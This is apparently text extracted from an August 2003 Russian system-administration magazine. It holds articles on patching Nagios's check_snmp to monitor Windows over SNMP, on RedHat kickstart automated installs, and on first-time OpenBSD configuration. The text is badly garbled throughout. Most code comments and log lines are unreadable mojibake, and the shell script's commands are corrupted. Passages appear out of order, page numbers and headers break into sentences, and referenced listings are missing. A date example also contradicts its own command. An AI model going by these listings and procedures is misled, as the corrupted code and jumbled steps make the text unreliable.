Разобравшись с первоначальной настройкой, приступим к изучению того, как это работает. Для сбора данных модуль check_snmp использует программу snmpget. Давайте попробуем выполнить из командной строки проверку времени работы Windows-машины с момента последней перезагрузки. #/usr/local/nagios/libexec/check_snmp -H win2000rus ↵ -C QWEmn90 -o system.sysUpTime.0 SNMP problem - No data recieved from host CMD: /usr/local/bin/snmpget -m ALL -v 1 ↵ -c QWEmn90 win2000rus system.sysUpTime.0
Получив ошибку, не огорчаемся, а читаем статью дальше. Поняв механизмы действия модуля, мы сможем починить его самостоятельно. Итак, давайте окунемся с головой в теорию функционирования модуля check_snmp. При каждом запуске check_snmp создает дочерний процесс snmpget, которому передаются следующие параметры запроса. -v 1 # Âåðñèÿ ïðîòîêîëà. Windows ïîääåðæèâàåò âåðñèè 1 è 2c. # Ëó÷øå èñïîëüçîâàòü 2ñ, ïîòîìó ÷òî âåðñèÿ 1 íåáåçîïàñíà. –m ALL # Ïðèêàçûâàåì èñïîëüçîâàòü âñå èìåþùèåñÿ ôàéëû MIB –c QWEmn90 # Èìÿ ñîîáùåñòâà, èñïîëüçóåìîå äëÿ äîñòóïà ê äàííûì. # Ïîçâîëÿåò òîëüêî ÷òåíèå. win2000rus # Èìÿ èëè IP-àäðåñ ìàøèíû, êîòîðîé íóæíî îòïðàâèòü çàïðîñ.
21
администрирование OID # Èäåíòèôèêàòîð îáúåêòà, â êîòîðîì íàõîäÿòñÿ èíòåðåñóþùèå # íàñ äàííûå.
В свою очередь, результаты работы snmpget обрабатываются check_snmp и передаются Nagios. Вот тут нас поджидают две ловушки. Проблема первая состоит в том, что формат вызова snmpget зависит от того, из какого пакета производилась установка средств для работы с SNMP. Рассмотрим различия на примере команды, которая должна получить с удаленной машины время работы системы. Версия net-snmp: # /usr/local/bin/snmpget -v2c –m ALL ↵ –c QWEmn90 win2000rus system.sysUpTime.0
Найдя нужный фрагмент, заменяем его на вариант для своей версии пакета snmp. Версия net-snmp: /* create the command line to execute */ command_line = ssprintf (command_line, "%s -v2c -m ALL -c %s %s %s", "/usr/local/bin/snmpwalk",community, ↵ server_address, oid);
Версия ucd-snmp: /* create the command line to execute */ command_line = ssprintf (command_line, "%s -m ALL -c %s -v2c %s %s", "/usr/local/bin/snmpwalk",community, ↵ server_address, oid);
Версия ucd-snmp: # /usr/local/bin/snmpget –m ALL –c QWEmn90 ↵ -v2c win2000rus system.sysUpTime.0
Выполните обе команды и, в зависимости от версии SNMP-программ, полюбуйтесь на появившиеся ошибки. Вторая проблема состоит в том, что snmpget упрямо не хочет работать с OID, созданными SNMP4W2K и SNMP4NT. К примеру, попробуйте выполнить два разных варианта команды, получающей с удаленной машины данные о загрузке процессора. Обратите внимание, OID для краткости записан в цифровом виде. Версия net-snmp: # /usr/local/bin/snmpget -v2c –m ALL ↵ –c QWEmn90 win2000rus .1.3.6.1.4.1.311.1.1.3.1.1.2.1.3.1
Версия ucd-snmp: # /usr/local/bin/snmpget –m ALL –c QWEmn90 ↵ -v2c win2000rus .1.3.6.1.4.1.311.1.1.3.1.1.2.1.3.1
Казалось бы, вид ошибок, полученных в ответ на команды, должен повергнуть нас в жесточайшее разочарование. Но не тут то было. Вместо snmpget мы станем использовать программу snmpwalk, которая гораздо стабильнее работает с нестандартными OID. Итак, переделываем наши команды и снова радуемся жизни. Версия net-snmp: # /usr/local/bin/snmpwalk -v2c –m ALL ↵ –c QWEmn90 win2000rus .1.3.6.1.4.1.311.1.1.3.1.1.2.1.3.1
Версия ucd-snmp: # /usr/local/bin/snmpwalk –m ALL –c QWEmn90 ↵ -v2c win2000rus .1.3.6.1.4.1.311.1.1.3.1.1.2.1.3.1
Разобравшись с этими мелкими проблемами, переходим к работе по исправлению модуля check_snmp. Идем в директорию plugins и открываем на редактирование файл исходного кода check_snmp.c. Ищем в нем вот такой фрагмент текста, отвечающий за вызов команды snmp_get: /* create the command line to execute */ command_line = ssprintf (command_line, "%s -m ALL -v 1 %s %s %s", PATH_TO_SNMPGET, server_address, community, oid);
22
Сохранившись, выходим и запускаем повторно компиляцию, а затем уже и инсталляцию. # gmake all # gmake install
Теперь пришло время снова проверить работоспособность модуля check_snmp. Для этого мы попытаемся получить многократно упоминаемые ранее данные о загрузке процессора Windows-машины. Заодно узнаем, насколько правильно работает OID из коллекции SNMP4W2K: #/usr/local/nagios/libexec/check_snmp -H win2000rus ↵ -C QWEmn90 -o .1.3.6.1.4.1.311.1.1.3.1.1.2.1.3.1 SNMP OK - INTEGER: 12
Судя по полученному ответу, модуль наконец-то заработал как положено. Загрузка процессора равна 12%, что, в общем, очень даже неплохо. Теперь приступим к настройке самого Nagios. Первым делом в файле checkcommands.cfg нам нужно определить команду check_snmp_oid, которую мы будем использовать для сбора данных. define command{ command_name check_snmp_oid command_line $USER1$/check_snmp -H $HOSTADDRESS$ ↵ -o $ARG1$ -C $ARG2$ -w $ARG3$ -c $ARG4$ ↵ -u $ARG5$ -l "" }
Давайте разберемся со значением макросов, передаваемых команде check_snmp. $USER1$ – путь к директории /usr/local/nagios/libexec/; $HOSTADDRESS$ – адрес проверяемой машины; $ARG1$ – OID, данные которого мы будем читать; $ARG2$ – имя сообщества SNMP; $ARG3$ – порог, при достижении которого нужно генерировать предупреждение; $ARG4$ – порог критического состояния; $ARG5$ – данные, которые необходимо добавить к выводимому результату. Например, для удобства можно к результатам запросов о свободной памяти дописывать строку «bytes». Обратите внимание на опцию -l "". Она позволяет заменить строку, добавляющую в результате статус snmp-
администрирование запроса. Обычно статус выглядит так «SNMP OK». Мне эта строка показалась лишней, поэтому я заменяю ее пустотой. В дальнейшем я предполагаю, что вы, прочитав первую часть статьи, внесли все необходимые для работы с машиной win2000rus данные в файлы hosts.cfg, hostgroups.cfg, поэтому говорить о них мы не будем. Разобравшись с определением команд, переходим к описанию тестируемых сервисов. # Ñåðâèñ, ïîêàçûâàþùèé äàííûå î ïðîöåíòå èñïîëüçîâàíèÿ # ôàéëà ïîäêà÷êè define service{ use generic-service host_name win2000rus service_description SNMP Page File Usage is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 1 retry_check_interval 1 contact_groups win-admins notification_interval 120 notification_period 24x7 notification_options c,r # Ïîðîã ïðåäóïðåæäåíèÿ óñòàíàâëèâàåì íà 80%, à êðèòè÷åñêîå # ñîñòîÿíèå íà 90%. # Îáðàòèòå âíèìàíèå íà çíàê “%”, ïåðåäàâàåìûé â ïîñëåäíåì # àðãóìåíòå. Ìû ïðèñîåäèíÿåì ýòîò çíàê ê ðåçóëüòàòàì, # âîçâðàùàåìûì ïîñëå âûïîëíåíèÿ çàïðîñà. check_command check_snmp_oid! ↵ .1.3.6.1.4.1.311.1.1.3.1.1.6.1.3!QWEmn90!80!90!% } # Äàííûå î çàãðóçêå ïðîöåññîðà, ñîáèðàåìûå # ÷åðåç SNMP4W2K define service{ use generic-service host_name win2000rus service_description SNMP CPU Load is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 1 retry_check_interval 1 contact_groups win-admins notification_interval 120 notification_period 24x7 notification_options c,r check_command check_snmp_oid! ↵ .1.3.6.1.4.1.311.1.1.3.1.1.2.1.3.1!QWEmn90!80!90!% } # Äàííûå î çàãðóçêå ïðîöåññîðà, ñîáèðàåìûå ÷åðåç # ñòàíäàðòíóþ âåòêó .iso.org.dod.internet.mgmt. ↵ # mib-2.host.hrDevice.hrProcessorTable.hrProcessorEntry. ↵ # hrProcessorLoad define service{ use generic-service host_name win2000rus service_description SNMP hrProcessorLoad is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 1 retry_check_interval 1 contact_groups win-admins notification_interval 120 notification_period 24x7 notification_options c,r check_command check_snmp_oid! ↵ .1.3.6.1.2.1.25.3.3.1.2.2!QWEmn90!80!90!% } # Âðåìÿ ðàáîòû ñèñòåìû ñ ìîìåíòà # ïîñëåäíåé ïåðåçàãðóçêè define service{ use generic-service host_name win2000rus service_description SNMP Up Time is_volatile 0 check_period 24x7 max_check_attempts 3
№8(9), август 2003
normal_check_interval 1 retry_check_interval 1 contact_groups win-admins notification_interval 120 notification_period 24x7 notification_options c,r # Îáðàòèòå âíèìàíèå íà òî, ÷òî ïîðîãè ïðåäóïðåæäåíèÿ è # êðèòè÷åñêîãî ñîñòîÿíèÿ äëÿ äàííîãî ñåðâèñà ñìûñëà íå # èìåþò, ïîýòîìó îòêëþ÷åíû ñ ïîìîøüþ ïóñòûõ êàâû÷åê “”. # Äîïèñûâàòü â ðåçóëüòàò òîæå íè÷åãî íå áóäåì, à çíà÷èò, # ñíîâà íóæíî èñïîëüçîâàòü “” check_command check_snmp_oid! ↵ .1.3.6.1.2.1.1.3!QWEmn90!""!""!"" } # Ïðîöåíò èñïîëüçîâàíèÿ âèðòóàëüíîé ïàìÿòè define service{ use generic-service host_name win2000rus service_description SNMP Virtual Memory usage is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 1 retry_check_interval 1 contact_groups win-admins notification_interval 120 notification_period 24x7 notification_options c,r check_command # Ïîðîã ïðåäóïðåæäåíèÿ óñòàíàâëèâàåì # íà äîñòèæåíèè 80% çàïîëíåíèÿ, # ñîîòâåòñòâóþùèõ 25 479 7360 áàéòàì, è êðèòè÷åñêîå ñîñòîÿíèå, # íàñòóïàþùåå ïðè çàïîëíåíèè 90% ïàìÿòè, óñòàíàâëèâàåì # íà îòìåòêó â 286 647 030 áàéò. #  ðåçóëüòàò, âîçâðàùàåìûé ìîäóëåì, äîáàâëÿåì ñòðîêó “bytes” check_snmp_oid!.1.3.6.1.4.1.311.1.1.3.1.1.1.3.0! ↵ QWEmn90!254797360!286647030!bytes } # Ñêîëüêî ìåñòà èçðàñõîäîâàíî íà äèñêå C:\ define service{ use generic-service host_name win2000rus service_description SNMP Space used on disk C:\ is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 1 retry_check_interval 1 contact_groups win-admins notification_interval 120 notification_period 24x7 notification_options c,r # Ïîðîã ïðåäóïðåæäåíèÿ íàñòóïàåò ïðè ðàñõîäå 80% ïðîñòðàíñòâà # äèñêà, ñîîòâåòñòâåííî, 835367 áëîêà. Êðèòè÷åñêîå ñîñòîÿíèå # íàñòóïàåò ïðè çàïîëíåíèè 90% ïðîñòðàíñòâà. Äëÿ ìîåé ìàøèíû # ýòî 938788 áëîêîâ.  îò÷åò, âîçâðàùàåìûé ìîäóëåì, # äîáàâëÿåì ñòðîêó “blocks” check_command check_snmp_oid! ↵ .1.3.6.1.2.1.25.2.3.1.6.2!QWEmn90!835367!938788!blocks }
Теперь, когда с настройкой закончено, заставляем Nagios загрузить обновленные файлы конфигурации. # /usr/local/etc/rc.d/nagios
Если ошибок не возникло, то немножко радуемся и приступаем к созданию критических ситуаций на Windowsмашине. Проведя полное стрессовое тестирование системы, понимаем, что теперь ни один сбой системы не застанет нас врасплох. В заключение статьи хотелось бы сказать, что SNMP4W2K позволяет следить за гораздо большим набором показателей здоровья сервера и служб, работающих под управлением Windows, чем я смог описать в этой статье. Я думаю, после такого продолжительного, но, надеюсь, увлекательного обучения каждый из вас сможет воспользоваться всей мощью, предоставляемой SNMP.
23
администрирование
ПИНГВИН С ОДНОГО ПИНКА
Иногда возникает ситуация, когда необходимо установить дистрибутив Linux сразу на несколько компьютеров или часто его переустанавливать. При этом процесс установки в конце концов начинает надоедать, и хочется как-то сократить или автоматизировать его. Все проще простого: в RedHat, начиная с версии 5.0, имеется технология, позволяющая установить его буквально за пару кликов, при этом все необходимые переменные будут выставлены, диск разбит на указанные разделы и установлены выбранные пакеты.
СЕРГЕЙ ЯРЕМЧУК 24
администрирование Все началось с того, что при очередной установке RedHat 9 я не обратил внимание на сообщение (см. скриншот), в котором были указаны файлы протокола установки и некий файл kickstart.
#part #part #part #part #part
/mnt/win_d --fstype vfat --noformat --onpart hda7 /usr/local --fstype ext3 --noformat --onpart hda6 /mnt/other --fstype reiserfs --noformat --onpart hda9 /home --fstype ext3 --noformat --onpart hda10 swap --onpart hda5
%packages @ Administration Tools @ GNOME Desktop Environment @ Graphical Internet @ Graphics @ Russian Support @ Sound and Video @ System Tools @ Ukrainian Support @ X Window System -kernel-pcmcia-cs galeon -gtkam ethereal-gnome mc xmms-skins fonts-KOI8-R-75dpi
Если с первым файлом /root/install.log все ясно с первого взгляда, в нем содержится список всех установленных пакетов (как не убирал лишнее, все равно оказалось много хлама) и ошибки при установке некоторых из этих пакетов. Приблизительно в таком виде: Óñòàíîâêà 887 ïàêåòîâ Óñòàíîâêà glibc-common-2.3.2-11.9. …. Óñòàíîâêà hwdata-0.75-1. Ôàéë OMF [/usr/local/share/omf/file-roller/file-roller-C.omf] ↵ íå ÿâëÿåòñÿ äîïóñòèìûì ñ òî÷êè çðåíèÿ ScrollKeeper-OMF DTD: ↵ /usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd Íåâîçìîæíî çàðåãèñòðèðîâàòü ↵ /usr/local/share/omf/file-roller/file-roller-C.omf Óñòàíîâêà redhat-logos-1.1.12-1
И так все 887 пакетов, которые установлены, поэтому после инсталляции можно спокойно просмотреть, что там все-таки наустанавливали и после этого уже не удивляться, куда все свободное место делось. А вот второй файл /root/anaconda-ks.cfg меня удивил и озадачил одновременно. Посмотрите сами, что там нашлось: # Kickstart file automatically generated by anaconda. install lang ru_RU.UTF-8 langsupport --default ru_RU.UTF-8 ru_RU.UTF-8 ru_UA.UTF-8 ↵ uk_UA.UTF-8 keyboard ru_win mouse genericwheelps/2 --device psaux xconfig --card "RIVA128" --videoram 4096 --hsync 30-70 ↵ --vsync 50-120 --resolution 1024x768 --depth 16 --startxonboot --defaultdesktop gnome network --device eth0 --bootproto static --ip 192.168.0.4 ↵ --netmask 255.255.255.0 --hostname grinder rootpw --iscrypted $1(zf6ola?s$lNcDbUeKI9l&&AKJ06x4S0 firewall --medium --trust=eth0 authconfig --enableshadow --enablemd5 --enablesmbauth ↵ --smbservers grinder --smbworkgroup Gljuk timezone Europe/Kiev bootloader --location=mbr # The following is the partition information you requested # Note that any partitions you deleted are not expressed # here so unless you clear all partitions first, this is # not guaranteed to work #clearpart --linux #part / --fstype ext3 --onpart hda11 #part /mnt/win_c --fstype vfat --noformat --onpart hda2 #part /mnt/win_e --fstype vfat --noformat --onpart hda8
№8(9), август 2003
Оказалось, что в этом файле расписаны ответы буквально на все вопросы, на которые пришлось отвечать во время инсталляции «Красной Шапки». Как видите, здесь можно найти все: системные языки, клавиатурную раскладку, конфигурацию мыши, графическую подсистему, введенный пароль root. Дополнительно закомментированы параметры разбивки жесткого диска, забегая немного вперед, скажу, что это сделано специально: при разбивке диска система остановится и позволит это сделать вручную. И напоследок указаны сначала все группы приложений, которые можно установить, а затем устанавливаемые пакеты, не входящие в выбранные группы или удаленные из них. Как видите, чтобы добавить нужный пакет, достаточно прописать его в файл без номера версии, а убрать можно, добавив знак минус «-» перед пакетом (список всех пакетов можно найти в /RedHat/ base/comps.xml). Наличие такого файла сразу наводит на некоторые мысли, правильность которых я и пошел проверять на сайт компании RedHat. И действительно, по адресу http://www.redhat.com/docs/ среди прочих документов нашлись и искомые: RedHat Linux KickStart HOWTO, датированный аж 1999 годом (самое интересное, что я много раз проходил мимо него) и RedHat Customization Guide. После прочтения которых очень расстроился. Оказалось, что в «Шапках», начиная с 5 версии, имеется система, позволяющая быстро установить большое количество идентичных Linux на основании заранее определенной конфигурации, занесенной в файл. При этом, кроме основных предопределенных действий, есть возможность выполнить любое количество дополнительных пользовательских команд (например, соединиться с Интернетом, скачать программу и установить ее или добавить запись в конфигурационный файл). И вообще, как вы поняли, при частой переустановке или необходимости устанавливать Linux на несколько компьютеров с одинаковой конфигурацией это, как говорится, «то, что доктор прописал», лучшего и придумать нельзя. Как же пользоваться этим файлом? А очень просто: сначала переименовываем файл anaconda-ks.cfg в ks.cfg (имя, разыскиваемое по умолчанию) и записываем его на дискету. Теперь необходимо загрузиться как обычно и при появлении приглашения ввести: boot: linux ks=floppy
25
администрирование После этого останется только диски менять по запросу, остальное система настроит сама, в том числе, если раскомментированы параметры настройки жесткого диска, то и диск автоматически разобьет. Можно при этом заранее заготовить несколько конфигурационных файлов с разными именами на все случаи жизни и необязательно размещать их на дискете, но в этом случае придется указывать полный путь к нужному файлу и используемое имя. boot: linux ks=hd:fd0/anaconda-ks.cfg
Интересно, что если просто ввести в строке приглашения: boot: linux ks
То система будет пытаться произвести инсталляцию при помощи NFS, используя BOOTP и DHCP. То есть попросту говоря, при постоянной необходимости множественной установки RedHat можно не заготавливать кучи CD-дисков, а создать в сети сервер NFS (Network File System) и брать все установочные файлы оттуда, находясь вообще неизвестно где, и даже диски при этом не придется менять. Но это еще не все. Допустим, необходимо установить дистрибутив на совсем другой компьютер и не хочется долго возиться, а править файл вручную лень. И не надо этого делать, так как в RedHat имеется утилита, которая в удобной графической форме позволяет выставить все нужные параметры и затем создать нужный файл. Вызывается она очень просто: в командной строке набираем: redhat-config-kickstart
и вслед за этим появляется окно. Как вы видите на скриншотах, при помощи этой утилиты можно указать все параметры, которые могут встретиться при инсталляции вплоть до задания размеров разделов и файловых систем на них (в том числе и RAID-массивов), настройки системы Х-Window и выбора пакетов для установки, в конце можно приписать команды, которые система должна выполнить до и после установки. После выбора всех пунктов настройки сохраняются в указанный файл.
26
администрирование Теперь восстановление системы (данные, я надеюсь, вы и так бэкапите) после сбоев может происходить двумя способами. Первый – архивация всей системы, что требует наличия лишнего свободного места как на жестком диске, так и вдоволь болванок и мощного процессора, иначе процедура может заметно затянуться. Второй способ – восстановление при помощи kickstart. При этом учитывая, что все вновь устанавливаемые программы находятся в /usr/local, а настройки пользователя в /home (которые желательно размещать на отдельном разделе жесткого диска), их бэкапим как обычно, а чтобы не настраивать заново всю систему, то так же сохраняем и каталог /etc. Остальное переустанавливаем при помощи kickstart, а затем поверх распаковываем архивы с /usr/local, /home и /etc (может еще и /var в зависимости от назначения компьютера), если, конечно, их затронули разрушения. После этого система будет работать как ни в чем не бывало. Для форматирования достаточно будет указать только корневой каталог (если только не повреждены другие), а остальные разделы примонтируются автоматически, т.к. данные уже имеются в старом /etc/fstab. При этом архивы можно положить в заранее определенное место (и создавать их вообще автоматически при помощи cron, предположим, раз в неделю), а в конец kickstart-файла добавить скриптик, реализующий их последующую распаковку. А чтобы файл держать всегда в боевой готовности и не убирать затем лишнего – при каждом удалении ненужной программы, входящей в комплект дистрибутива, добавлять туда соответствующую строчку. Это можно опять же возложить на плечи скрипта (ручная работа – это вообще не стиль для Unix). Например, такого: #! /bin/sh for arg in $*; do rpm -å $1 || åõit $? echo "- $1 " >> /root/anaconda-ks.cfg && echo ↵ "Ôàéë $1 óñïåøíî óäàëåí, èíôîðìàöèÿ çàíåñåíà ↵ â /root/anaconda-ks.cfg " shift done
После делаем его исполняемым (chmod +x), называем попонятнее: rpm_del (для новичков вообще рекомендую сделать себе алиасов попонятнее, наподобие FreeBSD, то есть rpm_del = «rpm -e», rpm_install = «rpm -Uvh» и т. д.) и перемещаем в каталог, где его найдет переменная $PATH (/usr/local/bin, например). Теперь из-под root вводим: # rpm_del mozilla xemacs docbook-style-xsl
После выполнения всех этих пакетов уже не будет, и информация об их ненужности в дальнейшем занесется в файл. Теперь, переустановив систему, не придется удалять их повторно. Можно сделать аналогичный скрипт и на установку, но я обычно только удаляю лишнее, пришедшее с системой, а если что-то срочно понадобилось, то, как правило, беру из Интернета версию посвежей. Вот в принципе и все, что хотел рассказать. Как видите, инструмент довольно удобный и раскрывает широкие возможности, а главное, экономит драгоценное время, которого почему-то вечно не хватает.
№8(9), август 2003
27
администрирование
ПЕРВЫЕ ШАГИ
ДЕНИС НАЗАРОВ
28
администрирование Продолжим наше знакомство с OpenBSD (начало см. в июньском номере журнала). Мы остановились на успешной установке системы и предложением перезагрузиться, что, собственно говоря, и выполняем. Итак, первая загрузка уже по традиции для BSD-систем выполняется на синем фоне, и вы можете видеть, как ядро системы опрашивает все устройства, которые находит. Отлично, ядро загрузилось, дальше пошел init системы (процесс, который запускает все остальные процессы). Мы видим, как поднимается сетевой интерфейс (в моем случае le1), добавляется маршрут по умолчанию (в большинстве случаев надо прописать его в /etc/mygate, я расскажу об этом файле при конфигурировании сети), запускаются демоны sendmail inetd и sshd. Торжественный момент...
Волшебная дверь в систему, которая тщательно выбирает себе друзей, но если вы станете ее другом – она сделает все для вас. Твердо и уверенно вводим root, затем пароль, который мы указали при инсталляции. Первое, о чем стоит позаботиться – проверка наличия патчей (исправлений) для вашей системы. Конечно, шанс, что критические исправления присутствуют, очень мал, однако он есть. Итак, нам прямая дорога на http:// www.openbsd.org/errata.html. Веб-страница содержит листинги всех патчей, доступных для вашей версии системы и описания к ним. И вообще в дальнейшем, если у вас не –CURRENT-система с постоянным обновлением – рекомендую регулярно навещать эту страницу. Зайти как пользователь root вы можете в систему с консоли и используя ssh (1) по сети. Доступ пользователя root в систему из сети сложно назвать простой глупостью, это огромная глупость! Он разрешен по умолчанию лишь для тех случаев, когда система ставится удаленно (как раз все мои случаи) и других пользователей в системе просто нет. Успешно зайдя в систему под root, вы увидите сообщение «Don’t login as root, use su» – даже тут система подсказывает, как надо обращаться с ней. Еще одно маленькое НО. Прежде чем запрещать вход пользователя root по сети, обязательно добавьте простого пользователя и занесите его в группу «wheel», иначе при удаленном администрировании вы потеряете все шансы вернуть права суперпользователя. Кстати, при adduser указание группы «wheel» бесполезно! Вручную отредактируйте файл /etc/group, чтобы он выглядел следующим образом: wheel:*:0:root,myusername
Теперь смело устанавливайте опцию: PermitRootLogin no
в файле /etc/ssh/sshd_config и перезапускайте демон sshd. Зайдя в систему под добавленным пользователем, вы сможете использовать команды su (1) и sudo (8) для получения привилегий суперпользователя. Используя команду «su», система просто меняет ваш UID на 0, а используя команду «su –», система дополнительно
№8(9), август 2003
перечитывает файл профиля (например, /root/.profile или /root/.bash_profile и т. д.).
Пароль суперпользователя Я думаю, не стоит описывать в этой статье, как правильно выбрать пароль, слишком много уже подобных статей, просто скажу, что пароль As52DjZ921cOx считается нормальным для root. Изменить пароль можно уже знакомой командой: /usr/sbin/passwd
Маленькое дополнение: привыкайте сразу использовать полные пути к критически важным командам. Используйте, например, «/usr/sbin/su –», а не просто «su –», порой такие мелочи бывают очень важны. Об этом в следующих статьях. Проверьте переменную окружения PATH (echo $PATH) – в ней ни в коем случае не должно быть относительных путей (начинающихся с «./») и в дальнейшем PATH суперпользователя ни за что не должна содержать путь текущей директории «.».
Системное время Системное время устанавливается с помощью date (1). Если требуется поменять временной пояс системы, то это делается пересозданием символической ссылки /etc/localtime на правильный пояс в директории /usr/share/zoneinfo. Примеры установки времени: Установить время и дату 22 июля 2003, 18:25 PM: # date 200306221825
Изменить часовой пояс: # ln -fs /usr/share/zoneinfo/Asia/Bishkek /etc/localtime
Системные демоны Файл /etc/rc.conf отвечает за процесс загрузки системы. В нем содержатся опции для разных загружаемых демонов (например, sshd и sendmail). Администратор должен сделать копию этого файла в /etc/rc.conf.local и уже в нем вносить все исправления, которые нужны. Но я так никогда не делаю. Просто привык работать напрямую с /etc/rc.conf. Используя команду hostname (1), вы можете проверить имя хоста в сети. Можно изменить имя, используя эту же команду hostname (1) или изменив имя в файле /etc/ myname и перезапустив систему.
Сетевая конфигурация Самое первое, что надо сделать – это набрать команду «ifconfig –a» и посмотреть на все сетевые интерфейсы, найденные и отконфигурированные системой. Исправить настройки можно, отредактировав файл /etc/hostname.interface (где interface – имя сетевого интерфейса, например, le1) или использовать ifconfig (8) для исправления настроек. Прочитав страницу мануала hostname.if (5), у вас не останется никаких вопросов по формату файла.
29
администрирование Если вы собираетесь маршрутизировать пакеты между интерфейсами, добавьте опцию: net.inet.ip.forwarding=1
или net.inet6.ip.forwarding=1
в файл /etc/sysctl.conf или пересоберите ядро с опцией GATEWAY. Пакеты не перенаправляются по умолчанию в соответствии требованиям RFC.
BIND Name Server (DNS) Если вы используете DNS, то настройки хранятся в файле /etc/resolv.conf. Он может выглядеть примерно так: # cat /etc/resolv.conf lookup file bind nameserver 127.0.0.1 nameserver 172.16.13.35
Вот пример текущего листинга ifconfig –a одного из моих OpenBSD –CURRENT-боксов с GENERIC-ядром. Для конфигурирования multicast routing смотрите страницу мануала netstat (8) и страницу dhcp (8) для интерфейсов DHCP. Проверьте таблицы роутинга командой netstat –rn. Вывод будет примерно таким:
Чтобы использовать локальный кэширующий сервер имен (как раз мой случай) первая строчка nameserver должна выглядеть именно так: «nameserver 127.0.0.1». Вы также должны выставить named_flags в файле /etc/rc.conf.local, в моем случае /etc/rc.conf и создать файл named.boot (в версии OpenBSD 3.3 используется BIND версии 9.x и файл называется named.conf) в соответствии со страницей мануала named (8). Если же преобразование имен в IP-адреса происходит слишком долго, проверьте, что демон named запущен.
RPC-based сетевые сервисы Некоторые сетевые сервисы ориентированы на использование RPC portmapper, должен быть запущен для их работы portmap (8). Эти сервисы включают в себя YP и NFS и множество других сервисов. Для запуска RPC portmapper автоматически вы должны прописать директиву: portmap=YES
в файле /etc/rc.conf.local.
Настройка YP (Yellow Pages)
Адрес маршрута по умолчанию находится в файле /etc/ mygate (если файла нет – создайте его вручную, прописав туда нужный IP-адрес). Добавить маршрут вручную поможет команда: route add default xxx.xxx.xxx.xxx
Для детального анализа конфигурации сетевых интерфейсов смотрите файл /etc/netstart, именно в нем находятся сценарии запуска сетевой подсистемы.
30
Рассказывать, что такое YP в деталях я не буду, это отдельная тема для статьи, вкратце же можно сказать, что это подобие Windows Active Directory, где пользователи и прочая информация хранятся на центральном сервере и все машины в сети работают с ним. Первое, что надо сделать, – это проверить имя домена YP. Это делается при помощи команды domainname (1). В случае ошибки отредактируйте файл /etc/defaultdomain и перезапустите систему. Осуществить смену defaultdomain без перезапуска системы можно при помощи той же команды domainname (1). Запустить клиентскую часть YP-сервисов можно просто запустив ypbind и затем осуществив переход на YP-сервер, как описано на страницах мануала passwd (5) и group (5). Чтобы включить поддержку YP, вы должны добавить линию: +:*::::::::
администрирование в файл /etc/master.passwd, и это может быть корректно выполнено при помощи команды vipw (8). В дальнейшем любые исправления файла /etc/master.passwd осуществляйте только при помощи команды vipw (8), т.к. авторизация в системе опирается сразу на 4 файла. Это /etc/passwd, /etc/master.passwd, /etc/pwd.db, /etc/spwd.db и vipw (8) работает с ними всеми сразу. Всю дополнительную информацию относительно работы с YP вы можете найти на странице мануала yp (8). Проверьте правильность монтирования дисков системы, сравнивая содержание файла /etc/fstab и выводы команд mount (8) и df (1). Например:
Конечно, очень многое из арсенала OpenBSD нам может и не пригодиться (например, авторизация по Kerberos), но все же стоит знать, что большинство файлов конфигурации располагаются в директории /etc. Смело пишем cd /etc и редактируем файлы, нужные нам. Небольшая оговорка. Файл /etc/motd, содержащий Message Of The Day, перезаписывается каждый раз при перезапуске системы, а если вы хотите, чтобы ваше сообщение оставалось, как, например, у меня:
Вы должны просто добавить 2 пустые строчки в начало файла /etc/motd и система не будет трогать его. Мне с моими пользователями как раз стоит держать файл /etc/ motd без изменений.: pheonix@princess pheonix$ wc -l /etc/passwd 5006 /etc/passwd
Добавление пользователей Я немного отвлекся, идем дальше. В OpenBSD имеются команды user, useradd, userdel, userinfo, usermod, users для работы с пользователями системы. Нас интересует команда useradd, но разработчики решили не грузить администраторов бесполезным заучиванием опций этой команды и создали замечательный скрипт /usr/sbin/adduser, который в интерактивном режиме задаст вам вопросы относительно новых пользователей и добавит их без проблем. Типичная сессия добавления пользователя:
Отредактируйте файл /etc/fstab и используйте команды mount (8) umount (8) в дальнейшем для работы с дисками. Формат файла /etc/fstab вы можете опять же узнать из страницы мануала fstab (5).
Concatenated disks (ccd) Если вы используете Concatenated disks, отредактируйте файл /etc/ccd.conf и используйте команды: ccdconfig –U ccdconfig –C
для удаления и создания ccd общих таблиц файлов. Затем вы можете пользоваться mount (8) и umount (8) для работы с ccd-дисками как с обычными и отредактировать файл /etc/fstab в случае надобности. Ну вот, на данном этапе система уже будет сносно работать, однако это совсем не дело – оставлять ее в таком все еще сыром виде. Нам нужна большая гибкость и более тонкая настройка, например, новые пользователи и т. д.
№8(9), август 2003
31
администрирование Что примечательно и сразу бросается в глаза? Конечно же проверка файлов авторизации системы. Скрипт ругается на то, что мой пользователь postfix имеет GID (Group Identificator), которого нет в системе, однако это требование почтовой системы Postfix, поэтому не обращаем на это внимание. Что еще? Конечно, Login class. OpenBSD поддерживает классы пользователей, на которые будут накладываться те или иные ограничения. Какие именно ограничения есть в системе, вы можете узнать, используя команду «ulimit –a». Например, лимиты для суперпользователя выглядят так:
Все классы определяются в файле /etc/login.conf и прочитав страницу мануала login.conf (5), вы без труда создадите или внесете исправления в нужный вам класс.
Дневные, недельные и месячные скрипты Если смотреть в директорию /etc, можно увидеть там скрипты daily, weekly, monthly. Вы можете напрямую редактировать эти скрипты, как я, или же делать «правильно», создав файлы daily.local, weekly.local, monthly.local и внеся в них нужные вам исправления. Наверное, уже сложно не догадаться, что эти скрипты будут выполняться демоном cron один раз в день, неделю, месяц. Скрипты генерируют очень полезный отчет о системе. Вот, например, такой:
-
RC-файлы Еще раз о них. Проверьте файлы rc.conf, rc.conf.local, rc.local, rc.securelevel, rc.shutdown и внесите в них все изменения, которые вам нужны. Обычно это 5-минутное дело, однако очень многие вещи завязаны на этих файлах.
Подтяните безопасность Вы можете еще более обезопасить систему, отредактировав файл /etc/inetd.conf и выключив в нем такие службы/демоны, как telnetd (8) и ftpd (8), которые легко заменяются более безопасной службой SSH (Secure Shell).
